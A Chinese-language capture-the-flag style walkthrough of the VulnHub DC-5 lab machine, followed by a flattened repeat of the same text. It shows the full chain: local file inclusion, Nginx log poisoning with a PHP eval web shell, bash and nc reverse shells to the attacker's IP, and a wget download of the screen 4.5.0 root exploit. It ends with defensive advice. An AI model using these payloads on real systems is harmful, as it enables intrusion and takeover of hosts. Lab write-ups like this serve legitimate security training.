VulnHub靶机 DC-5 打靶 详细渗透过程
字数 1207 2025-08-19 12:42:26

VulnHub靶机 DC-5 渗透测试详细教程

一、靶机环境准备

  1. 靶机下载

    • 下载地址:https://download.vulnhub.com/dc/DC-5.zip
    • 将下载的ZIP文件解压后导入虚拟机软件(如VMware或VirtualBox)
  2. 网络配置

    • 确保攻击机(Kali Linux)和靶机在同一网络段
    • 建议使用NAT或桥接模式

二、信息收集阶段

1. 主机发现

使用以下命令发现靶机IP:

arp-scan -l
# 或
nmap -sn 192.168.1.0/24

2. 端口扫描

扫描开放端口:

nmap -p- 192.168.43.192

典型结果会显示开放以下端口:

  • 80/tcp (HTTP服务)
  • 111/tcp (RPCbind)
  • 41237/tcp (未知服务)

详细服务扫描:

nmap -p80,111,41237 -sV -A 192.168.43.192

三、Web应用渗透

1. 目录爆破

使用dirsearch进行目录枚举:

dirsearch -u http://192.168.43.192 -i 200

发现的重要目录:

  • /footer.php
  • /thankyou.php
  • /contact.php

2. 文件包含漏洞发现

观察发现:

  • 访问/footer.php和/thankyou.php时,页面底部年份会变化
  • 这表明这些页面可能动态包含某个文件

进一步目录爆破:

dirsearch -u http://192.168.43.192/thankyou.php -e* -i 200

3. 文件包含漏洞利用

尝试读取/etc/passwd:

http://192.168.43.192/thankyou.php?file=/etc/passwd

参数发现技巧:

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.43.192/thankyou.php?FUZZ=/etc/passwd

四、获取初始Shell

1. 通过日志文件包含获取Web Shell

  1. 确定Web服务器为Nginx,尝试包含日志文件:

    http://192.168.43.192/thankyou.php?file=/var/log/nginx/access.log
    
  2. 在User-Agent中插入PHP代码:

    <?php @eval($_POST['cmd']);?>
    
  3. 使用curl或Burp Suite修改请求头:

    curl -A "<?php @eval(\$_POST['cmd']);?>" http://192.168.43.192/
    
  4. 验证PHP代码执行:

    http://192.168.43.192/thankyou.php?file=/var/log/nginx/access.log&cmd=whoami
    
  5. 使用蚁剑或其他Web Shell管理工具连接:

    • 连接URL:http://192.168.43.192/thankyou.php?file=/var/log/nginx/access.log
    • 密码:cmd

2. 反弹Shell

在蚁剑虚拟终端尝试反弹Shell:

# 方法1:bash反弹
bash -i >& /dev/tcp/攻击机IP/8888 0>&1

# 方法2:nc反弹
nc -e /bin/bash 攻击机IP 8888

攻击机监听:

nc -lvvp 8888

获取稳定Shell:

python -c "import pty;pty.spawn('/bin/bash')"

五、权限提升

1. 查找SUID权限文件

find / -perm -u=s -type f 2>/dev/null

发现关键文件:

  • /usr/bin/screen-4.5.0

2. 利用screen-4.5.0漏洞提权

  1. 搜索漏洞:

    • screen 4.5.0存在本地提权漏洞(CVE-2017-5618)
  2. 下载利用代码:

    • 攻击机开启HTTP服务:
      python3 -m http.server 8080
      
    • 靶机下载利用代码:
      wget http://攻击机IP:8080/41154.sh
      wget http://攻击机IP:8080/41154.c
      
  3. 编译执行:

    chmod u+x 41154.sh
    ./41154.sh
    
  4. 成功获取root权限

六、总结与防御建议

漏洞链分析:

  1. 文件包含漏洞(LFI) → Web Shell → 反弹Shell → SUID提权

防御措施:

  1. 文件包含漏洞防御:

    • 禁用动态文件包含
    • 使用白名单限制包含文件
    • 设置open_basedir限制
  2. Web日志安全:

    • 日志文件不可被Web用户读取
    • 日志目录设置适当权限
  3. SUID权限管理:

    • 定期检查SUID/SGID文件
    • 删除不必要的SUID权限
  4. 软件更新:

    • 及时更新存在漏洞的软件(如screen)

通过本教程,您应该已经掌握了从信息收集到权限提升的完整渗透测试流程,特别是文件包含漏洞的利用和SUID提权技术的实际应用。

VulnHub靶机 DC-5 渗透测试详细教程 一、靶机环境准备 靶机下载 : 下载地址:https://download.vulnhub.com/dc/DC-5.zip 将下载的ZIP文件解压后导入虚拟机软件(如VMware或VirtualBox) 网络配置 : 确保攻击机(Kali Linux)和靶机在同一网络段 建议使用NAT或桥接模式 二、信息收集阶段 1. 主机发现 使用以下命令发现靶机IP: 2. 端口扫描 扫描开放端口: 典型结果会显示开放以下端口: 80/tcp (HTTP服务) 111/tcp (RPCbind) 41237/tcp (未知服务) 详细服务扫描: 三、Web应用渗透 1. 目录爆破 使用dirsearch进行目录枚举: 发现的重要目录: /footer.php /thankyou.php /contact.php 2. 文件包含漏洞发现 观察发现: 访问/footer.php和/thankyou.php时,页面底部年份会变化 这表明这些页面可能动态包含某个文件 进一步目录爆破: 3. 文件包含漏洞利用 尝试读取/etc/passwd: 参数发现技巧: 四、获取初始Shell 1. 通过日志文件包含获取Web Shell 确定Web服务器为Nginx,尝试包含日志文件: 在User-Agent中插入PHP代码: 使用curl或Burp Suite修改请求头: 验证PHP代码执行: 使用蚁剑或其他Web Shell管理工具连接: 连接URL:http://192.168.43.192/thankyou.php?file=/var/log/nginx/access.log 密码:cmd 2. 反弹Shell 在蚁剑虚拟终端尝试反弹Shell: 攻击机监听: 获取稳定Shell: 五、权限提升 1. 查找SUID权限文件 发现关键文件: /usr/bin/screen-4.5.0 2. 利用screen-4.5.0漏洞提权 搜索漏洞: screen 4.5.0存在本地提权漏洞(CVE-2017-5618) 下载利用代码: 攻击机开启HTTP服务: 靶机下载利用代码: 编译执行: 成功获取root权限 六、总结与防御建议 漏洞链分析: 文件包含漏洞(LFI) → Web Shell → 反弹Shell → SUID提权 防御措施: 文件包含漏洞防御: 禁用动态文件包含 使用白名单限制包含文件 设置open_ basedir限制 Web日志安全: 日志文件不可被Web用户读取 日志目录设置适当权限 SUID权限管理: 定期检查SUID/SGID文件 删除不必要的SUID权限 软件更新: 及时更新存在漏洞的软件(如screen) 通过本教程,您应该已经掌握了从信息收集到权限提升的完整渗透测试流程,特别是文件包含漏洞的利用和SUID提权技术的实际应用。